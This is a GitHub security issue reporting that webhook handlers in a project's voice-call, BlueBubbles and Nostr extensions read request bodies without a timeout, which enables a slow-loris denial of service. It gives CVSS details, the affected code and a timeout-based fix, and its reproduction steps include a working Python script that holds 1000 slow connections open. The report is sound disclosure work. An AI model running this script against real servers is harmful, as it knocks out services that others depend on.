Skip to content

[Bug]: Webhook Body Read Without Timeout Enables Slow-Loris DoS #6023

@coygeek

Description

@coygeek

CVSS Assessment

Metric Value
Score 7.5 / 10.0
Severity High
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v3.1 Calculator

Summary

Multiple webhook handlers read request bodies without timeout. A slow client can hold connections open indefinitely, exhausting file descriptors and causing denial of service.

Affected Code

File 1: extensions/voice-call/src/webhook.ts:276-283

private readBody(req: http.IncomingMessage): Promise<string> {
  return new Promise((resolve, reject) => {
    const chunks: Buffer[] = [];
    req.on("data", (chunk) => chunks.push(chunk));
    req.on("end", () => resolve(Buffer.concat(chunks).toString("utf-8")));
    req.on("error", reject);
    // NO TIMEOUT - client can hold connection forever
  });
}

File 2: extensions/bluebubbles/src/monitor.ts:511-551

// Similar pattern - reads body without timeout
req.on("data", (chunk) => chunks.push(chunk));
req.on("end", () => { ... });

File 3: extensions/nostr/src/nostr-profile-http.ts:233-259

// Similar pattern - reads body without timeout

Attack Surface

How is this reached?

  • Network (HTTP/WebSocket endpoint, API call)

Authentication required?

  • None (unauthenticated/public access)

Entry point: Webhook endpoints exposed via Tailscale tunnels or public URLs. Voice call webhooks, BlueBubbles integration, Nostr profile updates.

Exploit Conditions

Complexity:

  • Low (no special conditions, works reliably)

User interaction:

  • None (automatic, no victim action needed)

Prerequisites: Network access to webhook endpoints. These are typically exposed for third-party integrations.

Impact Assessment

Scope:

  • Unchanged (impact limited to vulnerable component)

What can an attacker do?

Impact Type Level Description
Confidentiality None No data exposure
Integrity None No data modification
Availability High File descriptor exhaustion, connection pool depletion

Steps to Reproduce

  1. Open many slow connections to the webhook endpoint:
    import socket
    import time
    
    sockets = []
    for i in range(1000):
        s = socket.socket()
        s.connect(("target", 8080))
        s.send(b"POST /webhook HTTP/1.1\r\n")
        s.send(b"Host: target\r\n")
        s.send(b"Content-Length: 1000000\r\n\r\n")
        # Send 1 byte every 10 seconds
        sockets.append(s)
    
    while True:
        for s in sockets:
            s.send(b"X")
        time.sleep(10)
  2. Each connection holds a file descriptor and memory for chunks
  3. Observe: Gateway runs out of file descriptors or memory
  4. Legitimate webhook requests fail

Recommended Fix

Add a body read timeout wrapper:

function readBodyWithTimeout(req: http.IncomingMessage, timeoutMs: number): Promise<string> {
  return new Promise((resolve, reject) => {
    const chunks: Buffer[] = [];
    const timer = setTimeout(() => {
      req.destroy(new Error(`Body read timeout after ${timeoutMs}ms`));
      reject(new Error("Request body timeout"));
    }, timeoutMs);

    req.on("data", (chunk) => chunks.push(chunk));
    req.on("end", () => {
      clearTimeout(timer);
      resolve(Buffer.concat(chunks).toString("utf-8"));
    });
    req.on("error", (err) => {
      clearTimeout(timer);
      reject(err);
    });
  });
}

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions